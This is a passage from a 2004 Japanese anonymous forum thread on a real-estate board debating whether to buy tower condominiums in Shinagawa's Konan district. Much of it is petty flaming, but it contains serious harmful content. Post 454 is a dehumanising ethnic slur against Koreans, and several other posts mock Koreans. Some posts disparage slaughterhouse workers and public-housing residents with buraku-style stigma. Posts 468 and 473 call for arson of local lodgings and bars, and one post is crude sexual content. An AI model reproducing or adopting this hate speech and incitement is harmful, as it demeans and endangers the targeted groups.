購入するまえの基礎知識として下記の本をよんでおくことを強く
お勧めする。夫婦で両方ともが嫌悪感をいだかなければ、
港南もいいんじゃない？　うちはアウトでした。

http://www.amazon.co.jp/exec/obidos/ASIN/4004305659/250-5937322-8133056

437 ：名無し不動さん：04/02/28 14:04 ID:???

あと、
http://homepage2.nifty.com/meat_museum/tojyo/page1.html

屠場を差別する、しないじゃなくて、こういう価値観の人が
いっぱいいる地域だとしってから購入すべき。
なにもかんじないのなら、港南もいいんじゃない？
うちはアウトでした。

438 ：名無し不動さん：04/02/28 17:00 ID:io5Ga1+B

つーか、おまえがアウトだよ、人間として　Ｗ

439 ：名無し不動さん：04/02/28 17:09 ID:???

>>438
まあいいんじゃない？

普通の人間ならだれだってと場には嫌悪感を持つし、
そこで働いている人とは係わりたくないと思うもの。

ただ、その気持ちを他人の前で公にしたら社会的にアウトだけどね。
２ちゃんねるみたいに一応匿名っぽく発言できるところならいいけど。

人間として守らなきゃいけないのは、差別感や嫌悪感は内に秘めておく、
実名社会では「差別的」な発言はしない、といったあたりかな。

440 ：名無し不動さん：04/02/28 18:30 ID:???

屠場は差別じゃないよ、利権だよ。そのへん勘違いしないように！！

441 ：名無し不動さん：04/02/28 19:38 ID:???

>>438

関係者（藁）

442 ：名無し不動さん：04/02/28 21:34 ID:???

もし鳥インフルエンザの豚への感染が確認されたりしたら、このスレも祭りだな。

443 ：名無し不動さん：04/02/28 21:56 ID:???

港南に住んで食肉センターで働きたいのですが、
どこで募集してますか？身分は都の職員なのに、変な団体が
面接してるみたいなのです。

444 ：名無し不動さん：04/02/29 00:19 ID:zWFKlK6c

変な団体って？？公務員を雇うかどうかを民間が
決めてるの？

445 ：名無し不動さん：04/02/29 00:20 ID:???

realestatetokyoって東京建物の人間かな。
港南マンセーし杉。

446 ：名無し不動さん：04/02/29 00:23 ID:???

おれら、と場労組！おれら、と場労組！おれら、と場労組！
おれら、と場労組！おれら、と場労組！おれら、と場労組！
おれら、と場労組！おれら、と場労組！おれら、と場労組！
おれら、と場労組！おれら、と場労組！おれら、と場労組！

447 ：名無し不動さん：04/02/29 00:23 ID:???

まじで解体する仕事してぇな。
牛とかの胃に入ってた消化途中のゲロみたいなモノも
港南では取引対象商品なんだってね。

448 ：名無し不動さん：04/02/29 00:23 ID:???

違います。駅前チョソ不法占拠地帯の一角に飲食雑居ビルを構えるちんけなビル屋です。

449 ：名無し不動さん：04/02/29 07:35 ID:???

このスレの160あたりにも少し話が出てたけど、NHKスペシャルで
この前やってた「地震波が巨大構造物を襲う」を見て、うちは
港南物件、というかタワー物件自体の検討をやめた。以下のページ
はNスペじゃないけど、ページの下の方に再現ムービーがある。
要するに高い建物は共振して大きく揺れてしまう。高層階の
揺れは特に激しくなるのに注目。

ttp://www.kz.tsukuba.ac.jp/~sakai/dmn.htm

今設計されている高層ビルは、この手の地震波対策をとっていない。
現在の制震、免震構造では対応しきれない。で、あわてて耐震基準
づくりを始めた。

土木・建築学会、Ｍ８級対応の耐震基準を検討
ttp://www3.nikkei.co.jp/kensaku/kekka.cfm?id=2004021806003

こんなんが決まったら、>>192 も書いてるけど今の高層ビルを
中古で買う人なんか少なくなりそうなだな。資産価値うんぬんを
考えてる人は一応考えてみては。まあ、低層、戸建だって安全
というわけではないだろうけど。

450 ：名無し不動さん：04/02/29 09:43 ID:vD21P6se

と場がガラス張りの建築物で解体の過程が
バッチリ見れるんだったら、港南でマンション
検討してもいいかな。

451 ：名無し不動さん：04/02/29 12:37 ID:BAXPaJBh

>駅前チョソ不法占拠地帯

ローソンの横の道端においてる自販機なんとかしてくれ。
じゃますぎる。　って、自分に甘く他人に厳しい・・・
だから、そのままなんだろな。

452 ：名無し不動さん：04/02/29 12:56 ID:???

>>445
港南にビルを持っている歯医者だよ

453 ：名無し不動さん：04/02/29 18:42 ID:???

>駅前チョソ不法占拠地帯

たしかに、当初は不法に占有しました。もともといた人には
どいてもらいました。
しかし、時効により法律上も我々のものです。不法だなんて
失礼なこといわないように。現在は合法的に私たちのものです。
今日は、上野駅でデモ行進してきますた。

454 ：名無し不動産：04/02/29 23:04 ID:MFNut1X1

朝鮮人ってなんで、あんなに顔が、醜いんだ！
角ばっていたり、平面、臭い、まるで
とばの豚か牛だな。そういえば、戦前、チョンと犬は入るべからず
のたて看板が多かったけど、そう言う意味か
犬食うチョンは共食いとはね。

455 ：名無し不動さん：04/02/29 23:40 ID:???

春めいてきたな。

456 ：名無し不動さん：04/02/29 23:54 ID:vAskBZ4w

上野駅じゃなくて、御徒町じゃないの？　デモ行進したのは。
by 新社民党

457 ：名無し不動さん：04/03/01 00:22 ID:???

御徒町から、品川までは遠かったです。
帰ってくるの大変ですた。

458 ：名無し不動さん：04/03/01 00:58 ID:9cM3XaB5

半島の人が集合するスレはここですか？

459 ：名無し不動さん：04/03/01 01:10 ID:???

町内会費をたっぷりしぼりとれそうだから、
宴会の回数ふやせそうです。
管理費の中にはいってるから住民のかたには
取られてるってわかりにくいですしね。

460 ：名無し不動さん：04/03/01 10:50 ID:???

ニダニダ、占拠と場マンセー

461 ：名無し不動さん：04/03/01 23:38 ID:???

デベロッパーも、区も都もがんばって綺麗な町にしようと
努力してるんだから、過去をあげつらわなくても
いいじゃん。

462 ：名無し不動さん：04/03/02 05:29 ID:???

デベロッパー、区,、都の過去を語っているのではないことに注意。

463 ：名無し不動さん：04/03/02 22:42 ID:???

駅前雑居ビルはなーーー、オフィスだったのが飲食店になっちゃまって大成功だってRさんが自慢してるだろ。

行き着く先は風俗街だよ。

464 ：名無し不動さん：04/03/02 22:56 ID:???

>オフィスだったのが飲食店

魚民のとこか？

465 ：名無し不動さん：04/03/02 23:16 ID:???

しかし、港南口に降り立つと左右のビル群と正面のドヤ街の景観の落差に愕然とするね。
明日はアトレオープン

466 ：名無し不動さん：04/03/02 23:42 ID:???

わしさ、港南でだめなとこは食肉センターじゃなくて、
あの正面のドヤ街ゾーンなきがする。

467 ：名無し不動さん：04/03/02 23:45 ID:J4P68sut

あんなのドヤでもなんでもないでしょ？
新宿、池袋、上野も似たようなもんだし。

468 ：名無し不動産：04/03/03 00:01 ID:Q0EwUAHk

確かに、あのドヤ街はいただけない。
だれか、燃やしてくれ。

469 ：名無し不動さん：04/03/03 00:02 ID:???

品川は新宿・池袋・上野を目指してたのか、知らなかったよ

470 ：名無し不動さん：04/03/03 03:43 ID:???

谷田企画マンセー！！！！

471 ：名無し不動さん：04/03/03 03:45 ID:???

長山福田ビルもマンセー！！！！

472 ：名無し不動さん：04/03/03 03:46 ID:???

あの辺のボロビル連中が大きな顔してるんだよな。
俺たちが町を作ってるんだ！って感じかな。（藁

473 ：名無し不動さん：04/03/03 08:31 ID:V1jRmz+8

あの居酒屋・パチンコ屋群だれか放火してくれ。

474 ：名無し不動さん：04/03/03 09:14 ID:???

と場、ドヤ、都営、etc･･･
そういうことを含んで買ってるんだろ？
まさか知らなかったのか？

475 ：名無し不動さん：04/03/03 20:53 ID:mwVYYDUM

アトレの高級路線スーパーの袋を下げたひとは高輪口に向かうね。
勤め帰りでない客は高輪住民が多いみたい。

476 ：名無し不動さん：04/03/03 21:10 ID:???

>>475
来年から港南高層マンソンが完成入居すると
アトレの売上げはもっと増えそうだね｡
さすが商売見込みが上手いし､ＳＯＮＹビルも
商業店入るみたいだから､住民増加は儲かるの
ごとく市場調査はピッチリやってるんじゃないかな｡

477 ：名無し不動さん：04/03/03 21:11 ID:Ol1hYG04

ちゅーか、いきなり通路がこんでるし・・・・

朝は通路をでてＹ字に人が分岐（ＮＴＴ側とインターシティ）
真ん中おりていくひとはほとんどいない。

帰りは駅に向かう客とアトレにはいっていくひとだけ。
港南口って下に降りれるようにする必要ないんじゃないかい？

478 ：名無し不動さん：04/03/03 22:01 ID:V1jRmz+8

エスカレーターをＮＴＴ側にも作って欲しいな。

479 ：名無し不動さん：04/03/03 23:37 ID:???

今週になって、品川港南口の人口構成が変わったな。
若いとかお洒落とかな人が目に付くようになった。

480 ：名無し不動さん：04/03/03 23:51 ID:hMmPlk0a

韓国語もきこえまくり・・・うぜーーー

481 ：名無し不動産：04/03/03 23:53 ID:BS6VeHT+

スカイウォークを造って欲しいな！（恵比寿にあるような）
港南口の中途半端な屋根、どうにかしろや～、何の役にも立たない
設計者は馬鹿ですか？
アトレ、人多すぎ。それに新橋系サラリーマン親父は、下品すぎるので
早く帰宅しなさい。ウザ

482 ：名無し不動さん：04/03/03 23:55 ID:???

港南ドヤ系も早く帰りなさい。

483 ：名無し不動さん：04/03/04 00:58 ID:???

と場のまわりの住宅建設は良くない！
でも建ってしまいまつた

484 ：名無し不動産：04/03/04 13:17 ID:XaecSASL

港南のマンション群かっても、お洒落な、ライフスタイルが浮かばんなー
クィーンズ伊勢丹で買い物して１０から１５分歩くのか？
あの小汚い町並みを、途中お洒落なカフェも無いし、何も無い。
これほど、生活に関係ある店が無いのは、やはり港南であると言える。
今住んでいる奴、どんな生活しているんだ、やっと人レベルまで来たか
次は、人並みを目指しな。無理だろうけど

485 ：名無し不動さん：04/03/04 14:13 ID:???

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486 ：名無し不動さん：04/03/04 21:48 ID:???

>>392の続報が待ち遠しい春３月

487 ：名無し不動さん：04/03/04 22:04 ID:???

>>484
ＫＥＮさん今日も「煽り」ご苦労様です

488 ：名無し不動さん：04/03/04 22:13 ID:Np3RYcju

ちゅーか、帰り道うざい。
アトレ混みすぎ。
場違いなババアもおおいとおもったら、エスカレータ降りていって
たよ。都営の住民だな。
おしゃれなお店はおおいね。込んでるから通り過ぎてみた
だけだけど。

489 ：名無し不動産：04/03/05 00:28 ID:AgXuV398

仕事などでインターシティに行くけど、挙動不振の場違い爺婆、小汚い
奴は、港南口下りて、奥に消えて行くな。都営民は癌だな。
アトレできても、都営民には、見物どまりか？購買意欲ないだろう。
都下のいたる所に都営あるが、ここのは所謂、部落みたいなものだからな
異質だな。

490 ：名無し不動さん：04/03/05 00:40 ID:???

港南口のエスカレータおりてまっすぐいった一帯が
広い公園だったりするとコスポリの値段は1.5倍でも
うれるのにね。

491 ：名無し不動さん：04/03/05 03:19 ID:???

同じ品川駅徒歩十分でも
高輪口から徒歩十分と、港南口から徒歩十分では
賃料相場って違いますよね？

492 ：名無し不動さん：04/03/05 03:40 ID:???

>>491
ですね。港南口側は高いです。高輪台方面なら10分も歩けばかなり安い。

493 ：名無し不動さん：04/03/05 03:43 ID:???

なわけねーだろ。　港南必死だな！（ｗ

494 ：名無し不動さん：04/03/05 03:44 ID:???

港南マンカスは徒歩１５分が標準。
環境がいいよ。嫌悪施設以外何もなくてすっきり！（ｗＷＷ

495 ：名無し不動さん：04/03/05 03:53 ID:???

>>493
必死なのはそっち。実際に家賃を比べてみな？

港区高輪4丁目
http://rent.realestate.yahoo.co.jp/chintai_s?no=1274674001&img=1

品川区北品川4丁目
http://rent.realestate.yahoo.co.jp/chintai_s?no=1251454101&img=1

同じ1Kなのに3万円も違う。後者のほうが品川駅から遠いのに。
やっぱり港南口は便利だし、住みやすいからね。

496 ：名無し不動さん：04/03/05 04:01 ID:???

低層２０年落ち女限定21平米（高輪）と　新築７Ｆ27平米（北品川）か。
おもしろいね、君。

氏ね。

497 ：名無し不動さん：04/03/05 04:06 ID:???

北品４って高輪口からのほうが近いし。（ミャンマー大使館とか）
比較対象にあげているところが笑える

498 ：名無し不動さん：04/03/05 04:08 ID:???

港南５丁目とかは高いかもね。
チンカス相場ないからね。（藁

499 ：名無し不動さん：04/03/05 04:09 ID:???

>>496-497
低所得の高輪口方面住民、必死すぎて哀れ。

時間の無駄なのでもう来ません。

500 ：名無し不動さん：04/03/05 04:10 ID:???

しかも高輪の物件、アパートだし。　馬鹿？

501 ：名無し不動さん：04/03/05 04:11 ID:???

恥ずかしくなって逃げたか。深夜にご苦労様。（藁

502 ：名無し不動さん：04/03/05 04:18 ID:???

港南口にある立派な施設群です。（ｗ

芝浦水処理センター
芝浦水処理センター汚泥処理工場
港清掃工場
食肉市場総合ビル
品川火力発電所

503 ：名無し不動さん：04/03/05 08:42 ID:ADpSA7Ks

マンション買えなかった人が荒らしてるの？

504 ：名無し不動さん：04/03/05 12:33 ID:???

>>495
北品川の物件、管理費込みで11マンってそんな値段で借り手がつくの？信じられない。

505 ：名無し不動さん：04/03/05 12:49 ID:n/SfQm6Q

北品川　新築SRC、11万、7/8階、27.27㎡、BT独立、オートロック、ウォシュレット、浴室乾燥機、システムK
高輪４　築19HPC、7.6万、2/2階、21㎡、BT独立

比較対象が･･･

506 ：名無し不動さん：04/03/05 13:00 ID:???

>>503は港南万損購入者。

　　　　か　わ　い　そ　う　に　。

507 ：名無し不動さん：04/03/05 14:03 ID:???

↑
ま、普通は、ここまで粘着じゃないよね。しつこい　w

508 ：名無し不動さん：04/03/05 14:06 ID:???

港南キター　　毎日嫌悪施設の狭間からごくろうさん。

509 ：名無し不動さん：04/03/05 14:53 ID:c++UCY7y

つーか港南は普通の人がイメージしている港区とは違うだろ。
港区民としては同じと思われると迷惑だし。
自分だったら港南だと江東区ぐらいのイメージだけど。

510 ：名無し不動さん：04/03/05 14:58 ID:???

港南＝室蘭レベル

511 ：名無し不動さん：04/03/05 14:59 ID:???

港南は港南市にして２３区から切り離すべし！

512 ：名無し不動さん：04/03/05 15:08 ID:???

本当はよその区にあげてしまいたいくらいだけど、
税収とかもあるからなんともいえないかも。
生活保護とか福祉関係の費用がかかるのが増えたら切り離してほしいが・・・

513 ：名無し不動さん：04/03/05 21:02 ID:???

港区の癌、港南へようこそ。

514 ：名無し不動さん：04/03/05 21:26 ID:???

港区のフロンティア、未来への希望、港南へようこそ。

515 ：名無し不動さん：04/03/05 21:36 ID:???

勤務地が横浜（田園都市線沿線）なんだけど、
港南に住むのってやっぱ変？

516 ：名無し不動さん：04/03/05 22:32 ID:???

渋谷乗換えか、、、

517 ：名無し不動さん：04/03/05 22:42 ID:???

a-labのコラムだが。

年収の高い街ランキング
ttp://www.a-lab.co.jp/magazine_column/030219.html

数字が見づらいが、見ればわかるが港南より北青山が低い。
まあ原因は都営なんだろうけど…

白金もワースト５に入ってる。奇数丁目が足をひっぱったにしても
意外な結果なのでは？

まあ癌だの港区じゃないだの言ってもこれが現実だ。

異なる所得階層を同じ街に住まわせようという実験もNYで結構
試みられている。バッテリーパークなど。漏れは近くを通ったこと
があるだけなので成功したかどうかはわからんけどね。

ttp://pranj.org/JMM/jmm-aoyama.htm

アトレが異常にNYにこだわったりしてるし、そういう指向があるのかな。

駅前のお店はたしかに汚いが、海浜幕張みたいなCADで作られた
街に行ったら「ここには飲み屋もないのか」とか文句いうだろ、おまいらは。

以下も面白いからよむといいよ。長いから週末にでも。

デフレ時代と中心市街地
ttp://www1k.mesh.ne.jp/toshikei/173.htm

518 ：名無し不動さん：04/03/05 23:12 ID:???

>>517 白金も都営だよ　場か

519 ：名無し不動さん：04/03/05 23:35 ID:???

>>518 高所得者が多いと思われる白金でも都営があるだけで
ここまで落ちるということだね？

表によると、白金の持家世帯の平均年収は、786万。
都営住民はここに含まれないよね。この数字を下回るのは、
芝の780万のみ。港南の持家世帯なんか南青山と同じくらい。

つまり、借家でない人の平均年収も目だって低い。

これについてはどうかな？

白金メッキがはがれてしまったのか？それとも資料が間違っているのか？

520 ：名無し不動さん：04/03/05 23:58 ID:lVCnto3w

論理煽りはともかく、
粘着煽り君って実は港南系の人だとおもいます。
513,514,502,506とかかな？

わざと低レベルな煽りいれて、（自分ではきづいてない）
スレよごして、港南系の人からはわしらは差別されてる
ニダ、補償と賠償を請求するにだーみたいな風にもって
いきたいのだろう。

521 ：名無し不動さん：04/03/05 23:59 ID:lVCnto3w

アトレ人おおいね・・・帰り道の邪魔なんじゃ・・・
コレまでは夜は駅に向かう人だけだったのに。
逆走してくるやつふえた。立ち止まってる奴も・・

522 ：名無し不動さん：04/03/06 00:34 ID:???

既出だろうが白金はあんまいいところじゃない。
白金と白金台を勘違いしてる人が多い。

523 ：名無し不動さん：04/03/06 01:16 ID:???

>>522 そういうことなんだね。ここまで違うとは思ってなかった。

524 ：名無し不動さん：04/03/06 01:56 ID:???

>>520　おまえ港南ニダ！

525 ：名無し不動さん：04/03/06 02:03 ID:???

どこかで鹿島の完売とあったがHP見ると　まだ先着順あるね。
建っている場所、すごくうるさい印象があったので低層階は
抵抗あるけどなあ。

526 ：ドッペル玄関 ◆uGSfMN4E4w ：04/03/06 02:19 ID:4ylzzaIv

つうかAttractors Labの年収の高い街ランキングは
元々、住調の行政区単位の年収階層別世帯数をベースに
国調の持ち家率や大卒率などで調整したものです
簡単に言うと白金も港南も同じ「港区」のデータが元なんです

だから実際とはある程度の乖離がある数値と考えるべきです
特に白金の様な１億を超える年収の世帯が沢山ある町丁では
誤差は大きくなります

ですからデータは参考までに留めた方がよいと思います

527 ：名無し不動さん：04/03/06 05:40 ID:???

とは言え、実際に白金界隈を歩いてみれば、どこに高級住宅地があるの？ってゆうくらい、
まともなエリアは少なくて、大半はお世辞にもまともな住宅地とは言えない怪しい雰囲気
がムンムン漂ってるのは紛れもない事実。一部メディアの宣伝でイメージだけは改善した
が、実体はまだまだだし、白金とゆうだけで飛び付くと必ず後悔するだけだろうな。

528 ：名無し不動さん：04/03/06 09:05 ID:???

>>527 面白いことに、白金のようなイメージ先行の場所は
これから実際良くなっていくものなのだよ

529 ：名無し不動さん：04/03/06 11:59 ID:???

なりゃしないよ。
西麻布とか広尾という住所でも、これまでずーとスラムな場所はこ
れからもずーとスラムだよ。白金の工業地域や国道沿いの再開発地
域は、永遠に高級住宅地にはならないよ。港南が高級だと思うの、
ちみの知能ﾚﾍﾞﾙだと？可哀想に、おつむが少々弱いんですね。

530 ：名無し不動さん：04/03/06 12:22 ID:???

学習院など皇室とのゆかり浅からぬ目白近衛町御留山界隈は、当局
の強い指導の下、と場や清掃工場等の嫌悪施設、存在しないのは当
然としても、パチンコ屋はおろかゲームセンターすら存在しない高
貴な土地柄です。勿論、埋立地・工場倉庫街跡地・嫌悪施設＋都営
という三重苦・四重苦にあえぐ港南なんぞとは比べるべくもありま
せん。

531 ：名無し不動さん：04/03/06 13:16 ID:???

港南はいくらがんばっても、肉と下水の町はかわらないよ。（´,_ゝ｀）ﾌﾟｯ

532 ：名無し不動さん：04/03/06 13:27 ID:???

ここの万損検討している奴は、食肉市場と汚泥処理工場の見学を
させてもらってから検討したほうがいいよ。。（´,_ゝ｀）ﾌﾟｯ

533 ：名無し不動さん：04/03/06 13:31 ID:???

住宅を買うときのポイント。

周りの環境も買うと言うことを忘れないでね。

534 ：名無し不動さん：04/03/06 14:41 ID:???

港南に住むとしたら、歯医者とかはちょっと遠くなっても
高輪のほうに行ったほうがいいよね。

待合室で都営住宅の住民と一緒になりたくない。。。

535 ：名無し不動さん：04/03/06 14:55 ID:???

港南５丁目って将来性あるかも！
徒歩１０分くらいで台場駅にいけるＹＯ！
５００ｍくらい泳げば。。（´,_ゝ｀）ﾌﾟｯ

536 ：名無し不動さん：04/03/06 15:18 ID:gaavBCmn

>>534
歯医者さん、天王洲の方が近いのなら、
そっちの方がたくさんあるよ
と、いうか天王洲アイルには歯医者しかない（ま、内科がいっこあるけど）
商売敵が多いせいか、切磋琢磨してる

537 ：名無し不動さん：04/03/06 15:22 ID:???

港南にもrealestatetokyoという有名な歯医者さんがあるＹＯ！

538 ：名無し不動さん：04/03/06 15:26 ID:???

もりあがってきましたね。

>>526 なるほど。ただ、白金台は高収入のトップ５に入ってるし、白金は
奇数と偶数丁目で用途地域や町並みも違うという話はa-labの方であった
ような。自分の実体験も>>527の情感たっぷりのコメントに近いんだよね。
ただ、あまり他のエリアを悪く言うと話が不毛な方向に行くのでこの辺で
やめときます。

>>529 港南が高級住宅地になるところまでは期待してないよ。
再開発の方向付けが、異なる所得階層を混ぜるという方向で
あるなら、今後どうなるのか関心を持っているだけ。

>>530 お勤めｺﾞｸﾛｳｻﾏ。御留山ってゴル山って読むのでしょうか？(w
2ちゃんねらーらしくていいですね。

539 ：名無し不動さん：04/03/06 16:03 ID:???

おいみんな、これ以上港南ｲｼﾞﾒﾙのやめようよ。そもそも港南に万損買った椰子は被害者。死者にﾑﾁ打つ様な仕打
は可哀想。彼等は単に港区の名前、品川駅再開発ﾑｰﾄﾞ、業者の資産価値上昇とゆう甘言に騙され煽られ、周囲の
環境や土地の地歴、地ぐらいも認識せず、只の埋立地・工場跡地で今後大量供給で資産価値大暴落間違い無しに
も関わらず、ついつい常識無く業者の口車に乗せられ万損買ってしまい、本当は心底後悔してるのに、自分の愚
かさを認めたく無いため、ここで必死に反論しながらも、うまく売り抜ける画策してる哀れな子羊達なんだから。

540 ：名無し不動さん：04/03/06 16:32 ID:???

つーか、土日に港南行ってみればわかるよ。

廃墟そのもの。

541 ：名無し不動さん：04/03/06 16:35 ID:???

>>528
駅前の雑居ビル屋、必死だな。（ｗ

542 ：名無し不動さん：04/03/06 16:55 ID:???

>>540
港南買ったヤツらが「哀れな子羊」なんだったら
そのうち、と場送りだな。結局。

543 ：名無し不動さん：04/03/06 19:40 ID:???

港南に詳しい人　港南で最新の高層マンソン　住友２０００こと
ワールドシティタワーについてご意見下さい。いい事でも　悪い事でも
OKですが　できるだけ客観的なご意見をおながいします。
スレ後半の意見を聞くと港南事態が駄目なの？という気もしています。
鹿島のマンソンはMRと現地見て最悪に思えたのに随分売れているのですね。
http://www.tower-2000.com/

544 ：名無し不動さん：04/03/06 20:44 ID:???

港南ですら買えない人が評論してるからS/M比がわるくなるよね。
アトレ効果で吉野家にまで行列ができてるよ。

私？　港南はいらないです。

545 ：名無し不動さん：04/03/06 20:53 ID:???

>>543 S/M比って、新たな2ch用語？ﾜﾛﾀ

546 ：名無し不動さん：04/03/06 20:57 ID:???

>>545
それってカセットテープ再生する時の歪みの具合だよね

547 ：名無し不動さん：04/03/06 21:29 ID:1s2Q+/3c

548 ：名無し不動さん：04/03/06 21:38 ID:1NoJ+ECS

白金猿町って、明治時代に屠場があったんだけど、
いまでいうと何丁目？

549 ：名無し不動さん：04/03/06 22:46 ID:???

S/N比のことでは？

>>544はDQN

550 ：名無し不動さん：04/03/07 00:11 ID:???

>>548
白金台２丁目に通称猿町公園の白金児童遊園というがある。

551 ：名無し不動産：04/03/07 00:40 ID:i8Ol8GJP

そろそろ、港南板も飽きたな～
春からは、芝浦アイランド板でも誰か、立ててくれ。

552 ：ドッペル玄関 ◆uGSfMN4E4w ：04/03/07 02:14 ID:???

>551
確かに芝浦スレもそろそろ必要かも

553 ：ドッペル玄関 ◆uGSfMN4E4w ：04/03/07 03:27 ID:???

芝浦スレ立てました

【芝浦アイランド】芝浦関係総合スレ【田町・三田】
http://money.2ch.net/test/read.cgi/estate/1078597326/l50

554 ：名無し不動さん：04/03/07 21:28 ID:???

S/M比ＡＧＥ

555 ：名無し不動さん：04/03/08 07:52 ID:???

独身男です。
７０平米程度の２ＬＤＫを探していたんですが、
最近超高層が気になりいろいろ調べていたんですが、
やはり「眺望」を重視するとそれなりのお値段ってことで
あきらめかけていたんですが、パークタワー品川だと、
３０階西向きで４千万強で買えることを知り、気になっています。
これぐらいの高さ（２０階以上）でこんなに安く買えるところって
他にないですよね。（港南に限らず）

556 ：名無し不動さん：04/03/08 08:13 ID:???

>>555
パークタワー品川関係者さん
宣伝ごくろうさん。

557 ：名無し不動さん：04/03/08 11:57 ID:???

a-labのコラムは全く当てにならないよ。
そのデータによると、田園都市線の街は田奈と南町田が最高らしい（爆
もうばかかとあふぉかと・・

558 ：名無し不動さん：04/03/08 12:00 ID:???

>>556
ネタにマジレスかこわるい。
>>555を縦に読むと「独7最やあ3こ他」
ここから漢字をはずすと「7やあ3こ」
数字をはずし、ノイズである「こ」をはずすと、のこるのは
「やあ」
つまり、555はみんなにあいさつがしたかったのだ！！

559 ：名無し不動さん：04/03/08 12:31 ID:???

↑
港南ってこういう人間ばっかり。（´,_ゝ｀）ﾌﾟｯ

560 ：名無し不動さん：04/03/08 13:02 ID:???

何でみんなお金をドブに捨てるようなこと平気でするのかしら？
ほーーーんとに、ふ　　し　　ぎ！

561 ：名無し不動さん：04/03/08 13:53 ID:???

港に近くていいかも。ヨットクラブもあるし。
南のほうには北品川の壮大な景色が広がっているしね。
ドッジボールをベランダでしながら小春日和をタワーマンソンで楽しめるよ！
キッシュを食べながら夜風にあたって、、サイコーです。キャッシ
ュで購入すれば大変満足な物件のはずです。港南は。
ン～満足マンセー（藁

562 ：名無し不動さん：04/03/08 13:58 ID:???

マンセーとか書き込んでる奴の側には住みたくないな。

563 ：名無し不動さん：04/03/08 14:00 ID:???

>>562寐たにマジレスカコワルイ（´,_ゝ｀）ﾌﾟｯ

564 ：名無し不動さん：04/03/08 14:12 ID:???

港と言ってもお台場が近くにあるＹＯ！タワーからのパレットタウンの景色が
南側に見えて私らのお部屋はいい感じです。大満足です。
逝クー、逝っちゃＵー　毎日お台場の夜景をバックにバックしています。そ
っと大開脚をして「パパ観覧車をバックに花びら大回転しちゃうＹＯ」と。嫁の
てをガラス窓につけて夜景をバックにバックさ。これが港南家庭の常識でつ。
ヨメさん綺麗だもの。タワーも新築で私らも新婚家庭でこれからが楽しみです。
シマリがいいのだよ。ﾜﾊﾊ羨ましいかね。港南を馬鹿にしているＤＱＮどもよ。

565 ：名無し不動さん：04/03/08 14:50 ID:???

芝浦・港南がどのくらい変わるか楽しみにしてます。
観光スポット・デートスポットになってくれたら
遊びに行きます。

まさかマンションだけたくさん造ってお終いなんてことはないよね
期待してるよ。

566 ：名無し不動さん：04/03/08 15:19 ID:???

江東区化するという噂が・・

567 ：名無し不動さん：04/03/08 15:23 ID:???

江東以下だろ。（´,_ゝ｀）ﾌﾟｯ
観光スポットはたくさんあるよ。

火力発電所
肉処理
下水処理

デートスポットは無理でしょう。爆

568 ：名無し不動さん：04/03/08 15:24 ID:???

台場と港南５丁目を橋でも架けてくれれば多少価値があがるかも。

569 ：名無し不動さん：04/03/08 15:32 ID:???

台場の価値が下がる

570 ：名無し不動さん：04/03/08 16:04 ID:rtvBmru6

高輪と港南をつなぐ橋を無くしたら高輪の価値があがるかも。

571 ：名無し不動さん：04/03/08 16:22 ID:???

原発を港南５丁目に誘致したら港南の価値があがるかも。

572 ：名無し不動さん：04/03/08 16:27 ID:???

ちょっと目を離したら、ずいぶんS/M比が下がっちゃいましたね…
昼間からこんなに香ばしい方々がいるのも珍しい。

昨日テレビでやってたけど、2004～2006年に東海地震が来る
可能性があるってさ。

573 ：名無し不動さん：04/03/08 16:29 ID:???

S/M比ｷﾀ━━━━(ﾟ∀ﾟ)━━━━ｯ!!

574 ：名無し不動さん：04/03/08 16:35 ID:???

>>573 はやく、S/M比を２典に載るくらい有名にしたい。
そしたら、不動産板初のエントリーになるかもね。

次ｽﾚ立てるひとは、

【S/M比】港南エリア超高層計画統一スレ６棟目【激低】

でおながいします(w

575 ：名無し不動さん：04/03/08 16:58 ID:???

港南マンソンに住みたいとか言う奴はＳＭ比でいったら、
Ｍ（マゾ）なんだろうな。（藁

　　　　Ｍ比激高マンソン「港南」

576 ：名無し不動さん：04/03/08 18:15 ID:???

と場のそばなんだからＳ/Ｍ比は当然高いだろう

577 ：名無し不動さん：04/03/08 20:11 ID:???

鹿島の物件　某スレで完売と書いていた香具師がいたが
キャンセル続出で結構余っている。まだモデルルームもある。
概観白だが空気が汚いのですぐ汚れそう。なんか都営と張り合って
いる位置にあるのが面白い。

578 ：名無し不動さん：04/03/08 20:52 ID:???

Vタワーも都営と張り合っていまつ。（爆笑

579 ：名無し不動さん：04/03/08 21:09 ID:???

VタワーもSM比激高ｷﾀ━━━━(ﾟ∀ﾟ)━━━━ｯ!!

>917 名前：名無し不動さん投稿日： 03/07/06 23:10 ID:tHyV6G/+
>有名なSMの女王様も住んでますよ。
>918 名前：名無し不動さん [0] 投稿日： 03/07/06 23:59 ID:???
>隣が五反田だからな

参考

品川Ｖタワー引っ越し待ちの井戸端会議
http://money.2ch.net/test/read.cgi/estate/1033478867/l50

580 ：名無し不動さん：04/03/08 22:31 ID:???

＞＞５６５
第一次計画は３、４丁目の居住化再開発が先行するよ。
第二次計画は倉庫等の移転による開発で高層＆店舗増強
第三次計画は芝浦アイランドとの完全連結と芝浦南部の高層と商業化
このころの最終段階では、ＪＲ品川駅や新駅からの海側の開発も現在より
一歩進んでいるから、台場帰りの若い子は芝浦埠頭で降りて、
アイランド界隈のカフェでお茶して、品川の新ソニービルをぶらついて
帰るコースも雑誌で取り上げられるようになると思うぜ。

581 ：名無し不動さん：04/03/08 22:41 ID:???

８月の花火大会の頃は､来年からこの辺りも
凄い人ごみになり穴場の一等地も穴場で
なくなる訳かｰｰ

582 ：名無し不動さん：04/03/08 23:01 ID:???

>穴場の一等地

（´,_ゝ｀）ﾌﾟｯ　どこがだよ？　嫌悪施設の一等地。
まだまだ嫌悪施設募集中です。

583 ：名無し不動さん：04/03/08 23:05 ID:???

　　　　　　　　　東　京　の　掃　き　溜　め　、　港　南　。　　　　　　

584 ：名無し不動さん：04/03/08 23:12 ID:???

うだつが上がらず、全く買う資金も所得もない椰子の
粘着はしつこいな！！

585 ：名無し不動さん：04/03/08 23:15 ID:???

>>584
毎日嫌悪施設の狭間からお勤めご苦労様です。精が出ますね。

586 ：名無し不動さん：04/03/08 23:17 ID:QKPBO4l5

そりゃ金のない奴らの妬み嫉みは凄いよ。賃貸暮らしだと悔しいだろうけど、
２ちゃんではハイソ振りたいのかな？

587 ：名無し不動さん：04/03/08 23:22 ID:???

>>580
>芝浦埠頭で降りて、
港南口まで暗い夜道を歩くのか？藁
港南にやっとついたと思ったら左手に
「芝浦水処理センター汚泥処理工場」がお出迎えでつ。
廃墟の港南を抜けて品川駅についてソニービルか。
そのころにはソニービルも閉まっているだろうよ。（大爆笑）

